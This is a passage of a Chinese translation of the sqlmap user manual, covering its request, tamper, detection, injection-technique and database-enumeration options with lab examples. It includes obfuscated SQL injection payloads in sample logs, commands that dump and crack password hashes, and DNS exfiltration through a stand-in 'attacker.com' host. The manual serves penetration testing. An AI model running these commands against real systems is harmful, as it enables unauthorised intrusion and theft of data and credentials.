可以指定每个 HTTP(S) 请求之间等待的秒数。有效值是一个浮点数,例如 0.5
表示半秒。默认情况下,没有设置延迟。
选项:--timeout
可以指定 HTTP(S) 请求超时的等待秒数。有效值是一个浮点数,例如 10.5 表示十秒半。默认设置是 30 秒。
选项:--retries
可以指定 HTTP(S) 连接超时的最大重试次数。默认情况下,它最多重试三次。
选项:--randomize
可以指定在每个请求期间需要随机更改其值的参数名称。长度和类型由提供的原始值决定。
选项:--scope
你可以指定有效的 Python 正则表达式用于提取出所需的目标,而不是使用由选项 -l
从日志中解析出的所有主机目标。
有效语法示例:
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
选项:--safe-url
,--safe-post
,--safe-req
和 --safe-freq
有时,在执行了一定数量的失败请求后会被 Web 应用或检测技术销毁相关会话。这可能发生在 sqlmap 的检测阶段,或者在它利用任何 SQL 盲注时。原因是 SQL payloads 不一定会返回输出,因此这可能会向应用会话管理或检测技术暴露出特征。
要绕过目标站点设置的这种限制,你可以提供任何(或组合)以下选项:
--safe-url
:测试期间可以安全频繁访问的 URL 地址。--safe-post
:使用 HTTP POST 发送数据到一个安全的 URL 地址。--safe-req
:从文件中加载并使用安全的 HTTP 请求。--safe-freq
:交替执行指定的安全地址访问和目标测试请求。这样,sqlmap 将访问每个定义好数量请求的某个安全 URL,而不对其执行任何类型的注入。
开关:--skip-urlencode
根据参数的位置(例如:GET),其值可能会被默认进行 URL 编码。在某些情况下,后端 Web 服务器不遵循 RFC 标准,并要求以原始非编码形式发送参数值。在这种情况下可以使用 --skip-urlencode
。
选项:--csrf-token
和 --csrf-url
许多站点有使用 token 的反 CSRF 防护,在每个页面的响应随机设置隐藏字段值。sqlmap 将自动尝试识别并绕过这种防护,同时支持 --csrf-token
和 --csrf-url
等选项用来做进一步调整。选项 --csrf-token
用于设置包含随机 token 的隐藏字段的名称。这在网站对这些字段使用非标准名称的情况下是非常有用的。选项 --csrf-url
用于从任意有效的 URL 地址获取 token 值。这在目标网址在初始地不包含必需的 token 值,而需要从其他地方提取时是非常有用的。
开关:--force-ssl
如果想要对目标强制使用 SSL/HTTPS 请求,可以使用此开关。在使用选项 --crawl
收集 URLs 或者使用选项 -l
提供 Burp 日志时,该开关是很有用的。
选项:--eval
在可能因为一些已知的依赖而想要更改(或添加新的)参数值的情况下,可以使用选项 --eval
为 sqlmap 提供自定义的 python 代码,代码将在每个请求之前运行。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\ 20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
每个像这样的请求会使用当前 GET 请求中的 id
参数值重新计算出对应的 MD5 哈希值,从而替换掉原来的 hash
参数值。[
](https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Usage/Request.html)
下面的开关可以用于优化 sqlmap 的性能表现。
开关:-o
设置这个开关表示隐含开启下面对应的选项和开关:
--keep-alive
--null-connection
--threads=3
默认值,可以设置更大值。查看下面内容获取更多关于开关设置的详情。
开关:--predict-output
这个开关用于推导算法,可对获取的数据特性进行线性数据分析预测。根据 txt/common-outputs.txt
里面的条目及集合论相关知识预测并给出可能性最高的字符数理统计表。如果目标字符值可以在最常见的输出结果中找到,那么接下来的字符数理统计表范围会逐渐缩小。配合从 DBMS 中获取的实例、表名和对应的权限,那么加速效果会显著提高。当然,你可以根据自身需求对常见的输出文件进行编辑,例如,你发现了数据库表名的常见模式或者其他模式。
值得注意的是,这个开关不能够和 --threads
一起使用。
开关:--keep-alive
这个开关参数设置 sqlmap 使用 HTTP(s) 持久化连接。
值得注意的是,这个开关不能够和 --proxy
一起使用。
开关:--null-connection
在 HTTP 请求中,存在可以获取 HTTP 响应大小而无须获取整个 HTTP 实体的特殊类型。这个技术可用于 SQL 盲注中,以区分响应结果是 True
还是 False
。如果开启了这个开关,sqlmap 会测试并利用两种不同的 NULL 连接技术:Range
和 HEAD
。如果目标服务器能够满足其中之一的请求方式,那将能够减小使用的带宽,加速整个测试过程。
这些技术的相关详情可见白皮书提升 SQL 盲注的性能——Take 2(带宽)。
值得注意的是,这个开关不能和 --text-only
一起使用。
选项:--threads
sqlmap 中支持设定 HTTP(S) 请求最大并发数。 这个特性依赖于多线程,因而继承了多线程的优点和缺陷。
当数据是通过 SQL 盲注技术,或者使用暴力破解相关开关获取时,可以运用这个特性。对于 SQL 盲注技术,sqlmap 首先在单线程中计算出查询目标的长度,然后启用多线程特性,为每一个线程分配查询的一个字符。当该字符被成功获取后,线程会结束并退出——结合 sqlmap 中实现的折半算法,每个线程最多发起 7 次 HTTP(S) 请求。
考虑运行性能和目标站点的可靠性因素,sqlmap 最大的并发请求数只能设置到 10。
值得注意的是,这个选项不能跟 --predict-output
一起使用。
以下选项用于指定要测试的参数,提供自定义注入 payloads 和可选篡改脚本。
选项:-p
,--skip
和 --param-exclude
默认情况下 sqlmap 会测试所有 GET 参数和 POST 参数。当 --level
的值 >= 2,它还会测试 HTTP Cookie
头部值。当这个值 >= 3 时,它还会测试 HTTP User-Agent
和 HTTP Referer
头部值。而且还可以手动指定一个需要 sqlmap 进行测试的,使用逗号分隔的参数列表。这使得 sqlmap 忽略 --level
的设置。
例如,只需要测试 GET 参数 id
和 HTTP User-Agent
,则提供 -p "id,user-agent"
。
如果用户想要排除测试某些参数,他可以使用选项 --skip
。当你想使用高级别 --level
值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。
例如,要在 --level=5
跳过测试 HTTP User-Agent
和 HTTP Referer
,可以提供 --skip="user-agent,referer"
。
还可以基于正则表达式针对参数名称来排除对某些参数的测试。在这种情况下,用户可以使用选项 --param-exclude
。
例如,要跳过对名称中包含 token
或 session
的参数测试,可以提供 --param-exclude="token|session"
。
有一些特殊情况是注入点处于 URI 本身内。除非手动指定,sqlmap 不会对 URI 路径执行任何自动测试。你需要在命令行中标明这些注入点,通过在每个需要 sqlmap 测试和利用 SQL 注入的 URI 点后面附加一个星号(*
)(注意:也支持 Havij 风格 %INJECT HERE%
)。
例如,当使用了 Apache Web 服务器的 mod_rewrite 模块或其他类似的技术时,这特别有用。
一个合法命令行例子如下:
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
与 URI 注入点类似,星号(*
)(注意:同时支持 Havij 风格 %INJECT HERE%
)也可以用于指向 GET,POST 或 HTTP 头部中的任意注入点。可以在选项 -u
中标注 GET 的参数值,在选项 --data
中标注 POST 的参数值,在选项 -H
中标注 HTTP 头部值如 --headers
,--user-agent
,--referer
和/或 --cookie
,或者标注从文件加载的 HTTP 请求中的通用位置,用于指定相应的注入点。
一个合法命令行例子如下:
$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"
选项:--dbms
默认情况下 sqlmap 会自动检测 Web 应用程序的后端 DBMS。sqlmap 完全支持以下数据库管理系统:
如果由于某些原因 sqlmap 已经识别出 SQL 注入却无法检测到后端 DBMS 类型,或者你想避免执行指纹信息收集,可以自己提供后端 DBMS 的名称(例如:postgresql
)。对于 MySQL 和 Microsoft SQL Server 分别以 MySQL <version>
和 Microsoft SQL Server <version>
的形式提供,其中 <version>
是指 DBMS 的有效版本;例如 MySQL 为 5.0
,Microsoft SQL Server 为 2005
。
如果你同时使用 --dbms
和 --fingerprint
,sqlmap 将只对指定的 DBMS 执行详细的指纹收集,更详细的信息请阅读下文。
注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 时使用它。如果你不知道,就让 sqlmap 自动为你识别指纹信息。
选项:--os
默认情况下,当此信息是任何开关或选项的依赖时,sqlmap 会自动检测 Web 应用程序后端 DBMS 的底层操作系统信息。 目前完全支持的操作系统有:
你可以强制指定已知的操作系统类型,这样 sqlmap 将避免对该信息进行检测。
注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 底层操作系统时使用它。如果你不知道,就让 sqlmap 自动为你识别。
开关:--invalid-bignum
在 sqlmap 需要使原参数值无效(例如:id=13
)的情况下,它会使用负数(例如:id=-13
)。使用此开关可以强制使用大整数值来达到一样的效果(例如:id=99999999
)。
开关:--invalid-logical
在 sqlmap 需要使原参数值无效(例如:id=13
)的情况下,它会使用负数(例如:id=-13
)。使用此开关可以强制使用布尔运算来达到一样的效果(例如:id=13 AND 18=19
)。
开关:--invalid-string
在 sqlmap 需要使原始参数值无效(例如:id=13
)的情况下,它会使用负数(例如:id=-13
)。使用此开关可以强制使用随机字符串来达到一样的效果(例如:id=akewmc
)。
开关:--no-cast
返回生成结果时,sqlmap 会将所有条目都转换为字符串类型,并使用空格字符替换 NULL
值。这样做是为了避免任何错误的状态(例如:使用字符串连接 NULL
值)并简化数据检索过程本身。然而,根据报告有些情形(例如:MySQL DBMS 的旧版本)由于数据检索本身存在问题(例如:返回了 None
值),需要关闭此机制(使用此开关)。
开关:--no-escape
在 sqlmap 需要使用(单引号分隔的)payloads 里的字符串(例如:SELECT 'foobar'
)的情况下,这些值将被自动转义(例如:SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)
(译者注:该例语法适用于 Microsoft SQL Server))。这么做有两个原因:对 payload 内容进行模糊处理,还有防止后端服务器上潜在的查询转义机制(例如:magic_quotes
和/或 mysql_real_escape_string
)。用户可以使用此开关将其关闭(例如:需要减小 payload 的大小时)。
选项:--prefix
和 --suffix
在某些情况下,仅当用户提供附加到注入 payload 的特定后缀时,才能利用易受攻击的参数。另外,当用户已经知道查询语法并希望通过直接提供注入 payload 前缀和后缀来检测利用 SQL 注入时,这些选项对这种场景会很方便。
漏洞源代码示例:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
要检测并利用此 SQL 注入,您可以让 sqlmap 在检测阶段检测边界(与 SQL payload 前缀和后缀组合),或者自己提供。
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\ ?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc" [...]
这将使所有 sqlmap 请求最终构成以下查询:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
以使查询语法正确。
在这个简单的例子中,sqlmap 可以检测 SQL 注入并利用它,而不需要提供自定义的边界,但有时在真实情况中的应用程序,当注入点存在于嵌套的 JOIN
查询中时,需要提供它。
选项:--tamper
sqlmap 本身不会混淆发送的 payload,除了将单引号之间的字符串用诸如 CHAR()
进行替换。
如果后端 DBMS 与用户输入内容存在较弱验证机制的情况下,此选项会非常有用。这种验证机制通常是由应用程序源代码调用自行开发的输入验证例程,如昂贵的企业级 IPS 设备或 Web 应用程序防火墙(WAF)。一言蔽之,它们通常以不同的方式实现并且需要花费大量资金。
要利用此选项,需要为 sqlmap 提供逗号分隔的修改脚本列表,这将处理 payload 并返回转换结果。你可以定义自己的修改脚本,编辑使用 sqlmap tamper/
文件夹中的脚本,并使用逗号分隔连接它们作为 --tamper
选项的值(例如:--tamper="between,randomcase"
)。
合法的修改脚本格式如下:
# Needed imports from lib.core.enums import PRIORITY # Define which is the order of application of tamper scripts against # the payload __priority__ = PRIORITY.NORMAL def tamper(payload): ''' Description of your tamper script ''' retVal = payload # your code to tamper the original payload # return the tampered payload return retVal
你可以在 tamper/
目录中查看有效和可用的修改脚本。
针对 MySQL 目标,假定字符 >
、空格和大写的 SELECT
字符串被禁止:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\ tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' [hh:mm:03] [INFO] loading tamper script 'randomcase' [hh:mm:03] [INFO] loading tamper script 'space2comment' [...] [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 [hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 [hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 [...] [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause ' [hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/ **/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info rmation_schema.tables/**/group/**/bY/**/x)a) [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [...]
下面的相关选项可用于自定义检测环节。
选项:--level
使用这个选项需要给出一个参数用于指定即将进行检测的级别。总共有五个级别。默认的级别是 1,该级别只会进行简单的检测(请求)。与之不同的是,级别 5 会更详细地对更大范围 payloads 和 boundaries(作为 SQL payload 的前缀和后缀)进行检测。sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml
中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。
这个选项设置不止会影响 sqlmap 使用的 payload,还会影响到相关的测试注入点:总是测试 GET 和 POST 的相关参数,级别大于等于 2 则会测试 HTTP Cookie 头部,级别大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。
总而言之, 如果 SQL 注入检测的难度越高,则需要设定越高的 --level
值。
强烈建议在向 sqlmap 邮件列表反馈 sqlmap 无法检测到特定类型的注入之前,尝试设定一个更高的 --level
值用于检测。
选项:--risk
这个选项需要给出一个参数用于指定即将进行检测的风险程度。总共有三个风险级别。默认的级别是 1,对大多数 SQL 注入点而言是没有任何风险的。风险级别 2 则会在默认的检测上添加大量时间型盲注语句测试,级别 3 则会在原基础上添加OR
类型的布尔型盲注测试。
在某些场景下,例如对 UPDATE
语句进行 SQL 注入,注入一个 OR
类型的 payload 会导致目标数据表的所有记录进行更新,显然这个不是攻击者想要的结果。针对这个场景及其他相关场景,sqlmap 引入了 --risk
这个选项。通过这个选项:用户可以指定检测特定的 payload,同时用户可任意选择使用可能比较危险的操作。正如上面的选项提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml
载入的,该文件支持用户自定义编辑添加。
选线:--string
,--not-string
,--regexp
和 --code
默认区分一个 True
查询和 False
查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果页面是否一致进行判断的。
不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计数器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。为了避免类似的情况,sqlmap 会尽可能尝试识别出对应的代码段所返回的请求内容并做好相关的处理。有时候,可能无法正确处理该情况,这也是为什么 sqlmap 允许用户提供一个字符串(--string
选项),这个字符串需要出现在原页面(这个并不是强制规定)和所有查询结果为 True
的页面查询中,并且不出现在查询结果为 False
的页面。除了提供静态的字符串外,用户可以提供正则表达式(--regexp
选项)用于匹配。此外,用户可以提供一个字符串(--not-string
选项),该字符串不能出现在原页面或者所有查询结果为 True
的页面,而总是出现在查询结果为 False
的页面。
通过对相关的参数注入非法值并手动对比原页面(未经过注入)和注入结果页面的不同,就可以轻易地得到目标字符串。通过这种方式的定义,页面不同的判定则会是基于用户指定的字符串或者正则表达式的匹配。
如果用户知道可以通过 HTTP 状态码区分 True
查询和 False
查询(例如:200
对应 True
,401
对应 False
),那么可以向 sqlmap 提供对应的信息。(例如:--code=200
)。
开关:--text-only
和 --titles
如果用户知道可以通过 HTML 标题区分 True
查询和 False
查询(例如:Welcome
对应 True
,Forbidden
对应 False
),那么可以使用 --titles
开启基于标题对比的开关。
如果 HTTP 响应报文中存在无效信息(例如:脚本、嵌套元素等),可以通过过滤页面的内容(开关 --text-only
)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎。
以下选项可用于调整对特定 SQL 注入技术的测试。
选项:--technique
此选项用于指定需要测试的 SQL 注入类型。默认情况下 sqlmap 会测试它支持的所有类型/技术。
在某些情况下,你可能只想测试一种或几种特定类型的 SQL 注入,这便是该选项存在的作用。
此选项需要一个参数值。该参数是由 B
,E
,U
,S
,T
和 Q
这样的字符任意组合成的字符串,每个字母代表不同的技术:
B
:布尔型盲注E
:报错型注入U
:联合查询注入S
:堆查询注入T
:时间型盲注Q
:内联查询注入例如,如果仅测试利用报错型注入和堆查询注入,你可以提供 ES
。默认值为 BEUSTQ
。
注意,当你需要访问文件系统,接管操作系统或访问 Windows 注册表配置单元时,提供的字符串必须包含代表堆查询技术的字母 S
。
选项:--time-sec
为 --time-sec
提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒。
选项:--union-cols
默认情况下,sqlmap 进行联合查询注入时使用 1 到 10 列。当然,可以通过提供更高的--level
值将该范围增加到最多 50 列。有关详细信息,请参阅相关段落。
你可以手动指定选项 --union-cols
和相应的数字范围,以针对该类型的 SQL 注入测试特定范围的列。例如,12-16
代表进行 12 到 16 列的联合查询注入测试。
选项:--union-char
默认情况下,sqlmap 测试联合查询注入会使用 NULL
字符。然而,通过提供更高的--level
值,sqlmap 将执行一个随机数字的测试,因为存在少数情况,使用 NULL
的联合查询注入会失败,而使用随机整数会成功。
你可以手动提供选项 --union-char
和所需的数字(例如:--union-char 123
)来测试该类型的 SQL 注入。
选项:--union-from
在部分联合查询注入中,需要在 FROM
子句中强制指定使用有效且可访问的表名。例如,Microsoft Access 就要求使用这样的表。如果不提供一个这样的表,联合查询注入将无法正常执行(例如:--union-from=users
)。
选项:--dns-domain
DNS 渗出 SQL 注入攻击在文章 Data Retrieval over DNS in SQL Injection Attacks(译者注:乌云知识库有该文章的翻译,在 SQL 注入中使用 DNS 获取数据)中进行了介绍,而 sqlmap 中的实现方式可以在幻灯片使用 sqlmap 进行 DNS 渗出攻击中找到。
如果用户正控制着一台注册为 DNS 域名服务器的主机(例如:域名 attacker.com
),则可以使用该选项(例如:--dns-domain attacker.com
)来启用此攻击。它的前提条件是使用 Administrator
(即管理员)权限(因为需要使用特权端口 53
)运行 sqlmap,则可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种攻击能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过 DNS 渗出攻击测试。
选项:--second-order
当攻击一个存在漏洞的页面,它的 payload 注入结果显示(反射)在另一个页面(例如:frame)中,这种攻击就叫二阶 SQL 注入攻击。通常情况是原页面用户输入内容存储到数据库而导致相关的漏洞。
你可以手动提供选项 --second-order
搭配显示结果页面的 URL 地址来测试此类型的SQL 注入。
开关: -f
或 --fingerprint
默认 sqlmap 会自动帮你识别 Web 应用后端 DBMS 的相关信息。在检测阶段结束并提醒用户进一步选择检测可注入参数的时候,sqlmap 会自动识别后端 DBMS 信息,并根据特定的数据库架构采用合适的 SQL 语法、方言和相关查询,进行进一步的攻击测试。
如果你想采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别,可以提供 --fingerprint
开关。这样,sqlmap 则会发起更多的请求,并对DBMS 版本,甚至是操作系统、系统架构和补丁级别信息等方面展开指纹收集。
如果你想要更加精准的指纹识别结果,可以提供开关 -b
或者 --banner
。
以下选项可用于枚举后端 DBMS 信息、表结构和表中包含的数据。此外,你还可以运行自定义的SQL 语句。
开关:--all
当用户想要通过使用单个开关远程获取所有可访问数据信息,可以使用该开关。通常不建议这么做,因为它会产生大量的请求同时获取有用无用的数据。
开关:-b
或 --banner
大多数现代 DBMS 具有一个函数和/或一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version()
,环境变量是 @@version
,这取决于目标 DBMS。
针对 Oracle 目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\ -banner [...] [xx:xx:11] [INFO] fetching banner web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
开关:--current-user
使用此开关,可以从 Web 应用程序中获取到当前正在执行相关数据库查询操作的 DBMS 用户。
开关:--current-db
使用此开关可以获取 Web 应用程序连接到的 DBMS 数据库名称。
开关:--hostname
使用此开关可以获取 DBMS 所在的主机名。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\ hostname [...] [xx:xx:04] [INFO] fetching server hostname [xx:xx:04] [INFO] retrieved: debian-5.0-i386 hostname: 'debian-5.0-i386'
开关:--is-dba
可以检测当前 DBMS 会话用户是否为数据库管理员,也称为 DBA。如果是,sqlmap 将返回 True
,否则返回 False
。
开关:--users
如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,可以枚举用户列表。
开关:--passwords
如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限,则可以枚举每个 DBMS 用户的密码哈希值。sqlmap 将会枚举所有用户,及一一对应的用户密码哈希。
针对 PostgreSQL 目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\ passwords -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' database management system users password hashes: [*] postgres [1]: password hash: md5d7d880f96044b72d0bba108ace96d1e4 clear-text password: testpass [*] testuser [1]: password hash: md599e5ea7a6f7c3269995cba3927fd0093 clear-text password: testpass
以上例子中,sqlmap 不仅枚举了 DBMS 用户及其密码,而且识别出密码哈希格式属于PostgreSQL,并询问用户是否使用字典文件进行散列测试,并识别出了用户 postgres
的明文密码,它通常是 DBA,被识别出的还有用户 testuser
的密码。
对于可以枚举用户密码哈希的 DBMS 都已实现了此功能,包括 Oracle 和 Microsoft SQL Server 2005 及后续版本。
你还可以使用 -U
选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU
作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值。
开关:--privileges
如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的权限。根据权限信息,sqlmap 还将显示出哪些是数据库管理员。
你还可以使用 -U
选项来指定要枚举出权限的用户。
如果你提供 CU
作为用户名,它会将其视为当前用户的别名,并将获取此用户的权限信息。
在 Microsoft SQL Server 中,此功能将显示每个用户是否为数据库管理员,而不是所有用户的权限列表。
开关:--roles
如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的角色。
你还可以使用 -U
选项来指定要枚举出角色的用户。
如果你提供 CU
作为用户名,它会将其视为当前用户的别名,并将获取此用户的角色信息。
此功能仅在 DBMS 为 Oracle 时可用。
开关:--dbs
如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限,则可以枚举出当前数据库列表。
开关和选项:--tables
,--exclude-sysdbs
和 -D
如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。
如果你不使用选项 -D
来指定数据库,则 sqlmap 将枚举所有 DBMS 数据库的表。
你还可以提供开关 --exclude-sysdbs
以排除所有的系统数据库。
注意,对于 Oracle,你需要提供 TABLESPACE_NAME
而不是数据库名称。
开关和选项:--columns
,-C
,-T
和 -D
如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名。sqlmap 还将枚举所有列的数据类型。
此功能可使用选项 -T
来指定表名,还可以使用选项 -D
来指定数据库名称。如果未指定数据库名称,将使用当前的数据库名称。你还可以使用选项 -C
来指定要枚举的表列名。
针对 SQLite 目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\ -columns -D testdb -T users -C name [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | INTEGER | | name | TEXT | | surname | TEXT | +---------+---------+
注意,对于 PostgreSQL,你需要提供 public
或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public
为别名。
开关:--schema
和 --exclude-sysdbs
用户可以使用此开关获取 DBMS 模式。模式列表将包含所有数据库、表和列以及它们各自的类型。结合 --exclude-sysdbs
,只有包含非系统数据库的模式才会被获取并显示出来。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\ chema--batch --exclude-sysdbs [...] Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column | Type | +-------------+---------+ | cid | int(11) | | mysignature | text | | password | text | | username | text | +-------------+---------+ Database: owasp10 Table: blogs_table [4 columns] +--------------+----------+ | Column | Type | +--------------+----------+ | date | datetime | | blogger_name | text | | cid | int(11) | | comment | text | +--------------+----------+ Database: owasp10 Table: hitlog [6 columns] +----------+----------+ | Column | Type | +----------+----------+ | date | datetime | | browser | text | | cid | int(11) | | hostname | text | | ip | text | | referer | text | +----------+----------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ [...]
开关:--count
如果用户想要在导出所需表数据之前知道表中的条目数,可以使用此开关。
针对 Microsoft SQL Server 目标的示例:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\ --count -D testdb [...] Database: testdb +----------------+---------+ | Table | Entries | +----------------+---------+ | dbo.users | 4 | | dbo.users_blob | 2 | +----------------+---------+
开关和选项:--dump
,-C
,-T
,-D
,--start
,--stop
,--first
,--last
,--pivot-column
和 --where
如果当前会话用户对特定的数据表有读取权限,则可以导出数据表条目。
此功能依赖选项 -T
来指定表名,还可以用选项 -D
来指定数据库名称。如果提供了表名而不提供数据库名,则会使用当前的数据库。
针对 Firebird 目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\ --dump -T users [...] Database: Firebird_masterdb Table: USERS [4 entries] +----+--------+------------+ | ID | NAME | SURNAME | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+
此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump
和选项 -D
(不提供 -T
和 -C
)。
你还可以使用选项 -C
提供一个以逗号分隔的特定列名列表来导出数据。
sqlmap 还能会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度级别来查看 sqlmap 所创建文件的绝对路径。
如果只是想导出特定范围的条目,可以提供选项 --start
和/或 --stop
,以指定要从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1
。或者如果你只想导出第二和第三个条目,就提供 --start 1
--stop 3
。
还可以使用选项 --first
和 --last
指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3
--last 5
。此功能仅适用于盲注技术,因为报错型注入和联合查询注入技术不管列数据条目的长度如何,发起的请求数量是完全相同的。
有些情况下(例如:对于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少类似的机制,无法使用 OFFSET m, n
直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot
列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot
列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column
(例如: --pivot-column=id
)。
如果要约束导出特定的列值(或范围),可以使用选项 --where
。提供的逻辑运算将自动在 WHERE
子句内使用。例如,如果使用 --where="id>3"
,那么只有 id
值大于 3 的行会被获取(通过将 WHERE id>3
附加到使用的查询语句中)。
正如你可能已经注意到的,sqlmap 非常灵活:你可以将让其自动导出整个数据库表,或者非常精确地导出特定字符、列和范围的条目。
开关:--dump-all
和 --exclude-sysdbs
如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目。
你还可以提供开关 --exclude-sysdbs
以排除所有的系统数据库。在这种情况下,sqlmap 只会导出当前用户的数据库表条目。
注意,对于 Microsoft SQL Server,master
数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。
开关和选项:--search
,-C
,-T
,-D
此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名。
这非常有用,例如,要识别包含应用程序凭据的表,其中相关列的名称包含诸如 name 和 pass 这样的字符串。
开关 --search
需要与以下支持选项一起使用:
-C
,附带以逗号分隔的列名列表来搜索整个 DBMS。-T
,附带以逗号分隔的表名列表来搜索整个 DBMS。-D
,附带以逗号分隔的数据库名列表来搜索整个 DBMS。选项和开关:--sql-query
和 --sql-shell
SQL 查询和 SQL shell 功能允许在 DBMS 上运行任意 SQL 语句。sqlmap 会自动解析提供的语句,确定哪种技术适合用于注入它,以及如何打包相应的 SQL payload。
如果查询是 SELECT
语句,sqlmap 将获取其输出。否则,如果 Web 应用程序的后端 DBMS 支持多语句,它将通过堆查询注入技术执行查询。注意,某些 Web 应用程序技术不支持特定 DBMS 上的堆查询。例如,当后端 DBMS 是 MySQL 时,PHP 不支持堆查询,但是当后端 DBMS 是 PostgreSQL 时,它是支持的。
针对 Microsoft SQL Server 2000 目标的示例:
